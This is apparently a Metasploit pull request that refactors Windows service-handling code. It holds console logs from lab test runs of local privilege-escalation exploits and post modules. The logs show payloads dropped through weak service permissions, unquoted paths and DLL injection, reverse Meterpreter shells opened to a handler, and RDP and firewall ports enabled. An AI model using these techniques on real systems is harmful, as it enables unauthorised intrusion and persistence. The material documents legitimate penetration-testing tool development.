ExtAPI Services Refactor

My intention was just to refactor the Services mixin to benefit from the ExtAPI changes. However loads of refactoring was required as a lot of the modules dont use the mixin and dont use newer Post mixin methods.

I have deleted post/windows/manage/persistence it is past the depreciation date.

## Verification
- [x] test/modules/post/test/services.rb should return with no errors

The following should still work (stuff I've tested so far is marked)

- [x] post/windows/escalate/net_runtime_modify
- [x] post/windows/manage/rpcapd_start
- [x] post/windows/manage/enable_rdp
- [x] post/windows/gather/enum_proxy
- [x] post/windows/gather/enum_services
- [x] exploits/windows/local/service_permissions
- [x] exploits/windows/local/vss_persistence
- [x] exploits/windows/local/trusted_service_path
- [x] exploits/windows/local/current_user_psexec
- [x] exploits/windows/local/ikeext_service
- [x] exploits/windows/local/nvidia_nvsvc

## net_runtime_modify
```
msf post(net_runtime_modify) > run

[!] ************************************************************************
[!] *                      This module is deprecated!                      *
[!] *              It will be removed on or about 2014-06-17               *
[!] *        Use exploit/windows/local/service_permissions instead         *
[!] ************************************************************************
[*] Checking for vulnerable .NET Framework Optimization service
[*] This may take a few minutes.
[*] Found clr_optimization_v2.0.50727_32 installed
[*] Found Weak Permissions on C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe
[*] Exploiting...
[*] Uploading payload GWurszIwk.exe executable to temp directory
[*] Writing C:\Users\bob\AppData\Local\Temp\GWurszIwk.exe...
[*] Setting up multi/handler...
[*] Using Payload windows/meterpreter/reverse_tcp...
[*] Upload complete
[*] Started reverse handler on 192.168.1.22:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.1.23
[+] [clr_optimization_v2.0.50727_32] Service started
[*] Restarted clr_optimization_v2.0.50727_32
[*] Post module execution completed
[*] Meterpreter session 30 opened (192.168.1.22:4444 -> 192.168.1.23:49178) at 2013-12-18 11:03:20 +0000
```

## rpcapd_start
```
msf post(rpcapd_start) > rerun
[*] Reloading module...

[*] Checking if machine IE8WIN7 has rpcapd service
[*] Rpcap service found: Remote Packet Capture Protocol v.0 (experimental)
[*] Setting rpcapd as 'auto' service
[*] Enabling rpcapd.exe in Windows Firewall
[*] Installing rpcap in PASSIVE mode (local port: 2002) 
[*] [rpcapd] Service disabled attempting to set to manual
[+] [rpcapd] Service started
[+] Rpcapd started successfully: C:\Program Files\winpcap\rpcapd.exe -d -p 2002 -n
[*] Post module execution completed
```

## enable_rdp
```
msf post(enable_rdp) > rexploit
[*] Reloading module...

[-] Insufficient privileges, Remote Desktop Service was not modified
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20131218113143_default_192.168.1.23_host.windows.cle_879790.txt
[*] Post module execution completed
msf post(enable_rdp) > set SESSION 36
SESSION => 36

msf post(enable_rdp) > rexploit
[*] Reloading module...

[*] Enabling Remote Desktop
[*] 	RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*] 	The Terminal Services service is not set to auto, changing it to auto ...
[+] 	RDP Service Started
[*] 	Opening port in local firewall if necessary
[*] For cleanup execute Meterpreter resource file: /root/.msf4/loot/20131218113223_default_192.168.1.23_host.windows.cle_506368.txt
[*] Post module execution completed
```

## enum_proxy (Targetting RHOST)
```
msf post(enum_proxy) > rexploit
[*] Reloading module...

[-] Unable to contact remote registry service on 192.168.1.23
[*] Attempting to start service remotely...
[*] Proxy Counter = 8
[*] Setting: WPAD
[*] Post module execution completed
```

## enum_services
```
msf post(enum_services) > rerun
[*] Reloading module...

[*] Credential Filter: SYSTEM
[*] Start Type Filter: Auto
[*] Listing Service Info for matching services:
Services
========

 Name                  Credentials  Command  Startup
 ----                  -----------  -------  -------
 AudioEndpointBuilder  LocalSystem  Auto     C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
 CscService            LocalSystem  Auto     C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
 DcomLaunch            LocalSystem  Auto     %SystemRoot%\system32\svchost.exe -k DcomLaunch
...
```

## service_permissions - Weak Permissions
```
msf exploit(service_permissions) > exploit

[*] Started reverse handler on 192.168.1.22:11121 
[*] Trying to add a new service...
[*] Unable to create a new service: Unable to open service manager: Access is denied.
[*] Trying to find weak permissions in existing services..
[*] [a1test] Checking for weak file permissions
[*] [a1test] Cannot reliably determine path: c:\p\a.exe
[-] The system cannot find the file specified: c:\p\a.exe
[*] [a1test] Checking for weak service permissions
[*] [a1test] Could not open service. OpenServiceA error: Access is denied.
...
[*] [atest] Checking for weak file permissions
[*] [atest] Cannot reliably determine path: C:\Users\bob\AppData\Local\Temp\wfsjeAr.exe
[-] The system cannot find the file specified: C:\Users\bob\AppData\Local\Temp\wfsjeAr.exe
[*] [atest] Checking for weak service permissions
[+] [atest]  has weak configuration permissions - reconfigured to use exe C:\Users\bob\AppData\Local\Temp\BmzRSjcxZB.exe
[*] [atest] Restarting service
[*] [atest] Writing service executable to C:\Users\bob\AppData\Local\Temp\BmzRSjcxZB.exe
[*] Sending stage (769024 bytes) to 192.168.1.23
[+] [atest] Service started
[+] [atest] Service restarted
[*] Meterpreter session 35 opened (192.168.1.22:11121 -> 192.168.1.23:49177) at 2013-12-18 11:18:05 +0000
[+] Deleted C:\Users\bob\AppData\Local\Temp\BmzRSjcxZB.exe

meterpreter > 
```

## service_permissions - Weak File Permissions
```
msf exploit(service_permissions) > exploit

[*] Started reverse handler on 192.168.1.22:11121 
[*] Trying to add a new service...
[*] Unable to create a new service: Unable to open service manager: Access is denied.
[*] Trying to find weak permissions in existing services..
[*] [a1test] Checking for weak file permissions
[+] [a1test] Write access to c:\p\a.exe
[*] [a1test] Writing service executable to c:\p\a.exe
[*] [a1test]  c:\p\a.exe moved to c:\p\a.exe.bak and replaced.
[*] Sending stage (769024 bytes) to 192.168.1.23
[+] [a1test] Service started
[+] [a1test] Service restarted
[*] Meterpreter session 36 opened (192.168.1.22:11121 -> 192.168.1.23:49178) at 2013-12-18 11:20:46 +0000
[+] Deleted c:\p\a.exe

meterpreter > 
```

## service_permissions - Create Service (admin privs)
```
msf exploit(service_permissions) > exploit

[*] Started reverse handler on 192.168.1.22:11121 
[*] Trying to add a new service...
[*] Created service... YDeBKG
[*] [YDeBKG] Writing service executable to C:\Windows\TEMP\kWOoqnBmb.exe
[*] Sending stage (769024 bytes) to 192.168.1.23
[+] Service should be started! Enjoy your new SYSTEM meterpreter session.
[*] Meterpreter session 37 opened (192.168.1.22:11121 -> 192.168.1.23:49179) at 2013-12-18 11:21:31 +0000
[+] Deleted C:\Windows\TEMP\kWOoqnBmb.exe

meterpreter > 
```

## vss_persistence
```
msf exploit(vss_persistence) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.22:4444 
[*] Checking requirements...
[*] Starting Volume Shadow Service...
[*] Volume Shadow Copy service not running. Starting it now...
[+] Volume Shadow Copy started successfully.
[*] Uploading payload...
[*] Creating Shadow Volume Copy...
ReturnValue = 0
[*] ShadowCopy created successfully
[*] Finding the Shadow Copy Volume...
[*] Deleting malware...
[*] Executing \Windows\Temp\svhost16.exe...
[*] Sending stage (769024 bytes) to 192.168.1.23
[*] Meterpreter session 44 opened (192.168.1.22:4444 -> 192.168.1.23:49177) at 2013-12-18 12:20:43 +0000

meterpreter > 
```

## trusted_service_path
```
msf exploit(trusted_service_path) > exploit

[*] Started reverse handler on 192.168.1.22:4444 
[*] Finding a vulnerable service...
[*] Found vulnerable service: aparp2 - c:\temp\new folder\meterp.exe (LocalSystem)
[*] Placing c:\temp\new.exe for aparp2
[*] Writing 15872 bytes to c:\temp\new.exe...
[*] Launching service aparp2...
[*] Sending stage (769024 bytes) to 192.168.1.23
[+] [aparp2] Service started
[*] Meterpreter session 31 opened (192.168.1.22:4444 -> 192.168.1.23:49182) at 2013-12-18 11:08:03 +0000
[+] Deleted c:\temp\new.exe

meterpreter > 
```

## current_user_psexec
```
msf exploit(current_user_psexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.22:4444 
[*] Using 192.168.1.23 as the internal address for victims to get the payload from
[*] Creating share C:\m4CQEOXi
[*] Dropping payload jGrkHmDx.exe
[*] 192.168.1.23     Creating service d00qTtxddb
[*] 192.168.1.23     Starting the service
[*] Sending stage (769024 bytes) to 192.168.1.23
[*] 192.168.1.23     Deleting the service
[*] Deleting share m4CQEOXi
[*] Deleting files C:\m4CQEOXi
[*] Meterpreter session 54 opened (192.168.1.22:4444 -> 192.168.1.23:49200) at 2013-12-18 12:45:45 +0000

meterpreter > 
```

## ikeext_service
```
msf exploit(ikeext_service) > exploit -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.22:6868 
[*] Checking service exists...
[*] Checking %PATH% folders for write access...
[+] Write permissions in c:\p - RW
[*] Writing 14336 bytes to c:\p\wlbsctrl.dll...
[*] Launching service IKEEXT...
[-] [IKEEXT] Unhandled error: Could not open service. OpenServiceA error: Access is denied.
[*] Unable to start service, handler running waiting for a reboot...
[*] 192.168.1.23 - Meterpreter session 29 closed.  Reason: Died
[*] 192.168.1.23 - Meterpreter session 30 closed.  Reason: Died
[*] Sending stage (769024 bytes) to 192.168.1.23
[*] Meterpreter session 32 opened (192.168.1.22:6868 -> 192.168.1.23:49156) at 2013-12-18 11:10:39 +0000
[+] Deleted c:\p\wlbsctrl.dll
```

## nvidia_nvsvc
```
msf exploit(nvidia_nvsvc) > check

[+] Found service 'NVIDIA Display Driver Service'
[+] Service is running
[+] Hash '3341d2c91989bc87c3c0baa97c27253b' is listed as vulnerable
[+] The target is vulnerable.
msf exploit(nvidia_nvsvc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.22:9991 
[+] Found service 'NVIDIA Display Driver Service'
[+] Service is running
[+] Hash '3341d2c91989bc87c3c0baa97c27253b' is listed as vulnerable
[*] Launching notepad to host the exploit...
[+] Process 5764 launched.
[*] Reflectively injecting the exploit DLL into 5764...
[*] Injecting exploit into 5764 ...
[*] Exploit injected. Injecting payload into 5764...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (971264 bytes) to 192.168.1.15
[*] Meterpreter session 53 opened (192.168.1.22:9991 -> 192.168.1.15:1075) at 2013-12-18 12:44:28 +0000

meterpreter > 
```